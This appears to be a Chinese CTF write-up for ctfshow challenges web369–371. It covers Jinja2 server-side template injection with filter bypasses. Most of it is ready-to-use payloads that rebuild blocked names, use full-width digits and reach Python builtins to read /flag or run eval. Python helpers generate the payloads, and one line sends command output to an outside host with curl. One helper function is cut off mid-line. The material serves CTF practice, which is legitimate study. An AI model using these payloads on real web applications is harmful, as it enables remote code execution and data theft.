web369

这把request过滤了，只能自己拼字符了

""[['__clas','s__']|join] 或者 ""[('__clas','s__')|join] 相当于 ""["__class__"] 

举个例子，chr(97) 返回的是字符 'a'，因为 97 是小写字母 'a' 的 Unicode 编码值。 ""chr(95)%2bchr(95)%2bchr(99)%2bchr(108)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(95)%2bchr(95) 相当于 ""__class__ 

?name= {% set po=dict(po=a,p=a)|join%}          //拼接出pop {% set a=(()|select|string|list)|attr(po)(24)%}         //拼接出_ {% set ini=(a,a,dict(init=a)|join,a,a)|join%}          //拼接出__init__ {% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}       //拼接出__globals__ {% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}		//拼接出__getitem__ {% set buil=(a,a,dict(builtins=a)|join,a,a)|join()%}		//拼接出__builtins__ {% set x=(x|attr(ini)|attr(glo)|attr(geti))(buil)%}		 {% set chr=x.chr%}		//使用chr类来进行RCE因为等会要ascii转字符 {% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}	//拼接出/flag {%print(x.open(file).read())%} 

web370

过滤了数字用全角数字代替半角数字

def half2full(half):     full = ''     for ch in half:         if ord(ch) in range(33, 127):             ch = chr(ord(ch) + 0xfee0)         elif ord(ch) == 32:             ch = chr(0x3000)         else:             pass         full += ch     return full while 1:     t = ''     s = input("输入想要转换的数字字符串：")     for i in s:         t += half2full(i)     print(t) 

?name= {% set po=dict(po=a,p=a)|join%} {% set a=(()|select|string|list)|attr(po)(２４)%} {% set ini=(a,a,dict(init=a)|join,a,a)|join()%} {% set glo=(a,a,dict(globals=a)|join,a,a)|join()%} {% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%} {% set built=(a,a,dict(builtins=a)|join,a,a)|join()%} {% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%} {% set chr=x.chr%} {% set file=chr(４７)%2bchr(１０２)%2bchr(１０８)%2bchr(９７)%2bchr(１０３)%} {%print(x.open(file).read())%} 

web371

?name= {% set c=(t|count)%}           #拼接出0 {% set cc=(dict(e=a)|join|count)%}         1  {% set ccc=(dict(ee=a)|join|count)%}         2 {% set cccc=(dict(eee=a)|join|count)%}        3 {% set ccccc=(dict(eeee=a)|join|count)%}           4 {% set cccccc=(dict(eeeee=a)|join|count)%}            5  {% set ccccccc=(dict(eeeeee=a)|join|count)%}          6  {% set cccccccc=(dict(eeeeeee=a)|join|count)%}		7	 {% set ccccccccc=(dict(eeeeeeee=a)|join|count)%}		8	 {% set cccccccccc=(dict(eeeeeeeee=a)|join|count)%}	9 {% set ccccccccccc=(dict(eeeeeeeeee=a)|join|count)%}	10 {% set cccccccccccc=(dict(eeeeeeeeeee=a)|join|count)%}	11 {% set coun=(ccc~ccccc)|int%}    24 {% set po=dict(po=a,p=a)|join%} {% set a=(()|select|string|list)|attr(po)(coun)%} {% set ini=(a,a,dict(init=a)|join,a,a)|join()%} {% set glo=(a,a,dict(globals=a)|join,a,a)|join()%} {% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%} {% set built=(a,a,dict(builtins=a)|join,a,a)|join()%} {% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%} {% set chr=x.chr%} {% set cmd= %} {%if x.eval(cmd)%} baozongwi    没影响给自己加个标签 {%endif%} 

cmd

def aaa(t): 	t='('+(int(t[:-1:])+1)*'c'+'~'+(int(t[-1])+1)*'c'+')|int' 	return t s='__import__("os").popen("curl http://xxx:4567?f=`tac /f*`").read()' def ccchr(s): 	t='' 	for i in range(len(s)): 		if i

?name={% set c=(t|length)%}{% set cc=(dict(e=a)|join|length)%}{% set ccc=(dict(ee=a)|join|length)%}{% set cccc=(dict(eee=a)|join|length)%}{% set ccccc=(dict(eeee=a)|join|length)%}{% set cccccc=(dict(eeeee=a)|join|length)%}{% set ccccccc=(dict(eeeeee=a)|join|length)%}{% set cccccccc=(dict(eeeeeee=a)|join|length)%}{% set ccccccccc=(dict(eeeeeeee=a)|join|length)%}{% set cccccccccc=(dict(eeeeeeeee=a)|join|length)%}{% set ccccccccccc=(dict(eeeeeeeeee=a)|join|length)%}{% set cccccccccccc=(dict(eeeeeeeeeee=a)|join|length)%}{% set coun=(ccc~ccccc)|int%}{% set po=dict(po=a,p=a)|join%}{% set a=(()|select|string|list)|attr(po)(coun)%}{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}{% set chr=x.chr%}{% set cmd=  %}{%if x.eval(cmd)%}{%endif%} 

半角字符：包和bao123  全角字符：包和ｂａｏ１２３有点看不出来，就看这个ｂａｏ１２３ 

def half2full(half):       full = ''       for ch in half:           if ord(ch) in range(33, 127):               ch = chr(ord(ch) + 0xfee0)           elif ord(ch) == 32:               ch = chr(0x3000)           else:               pass           full += ch       return full   t='' s="bao" for i in s:     t+='\''+half2full(i)+'\',' print(t)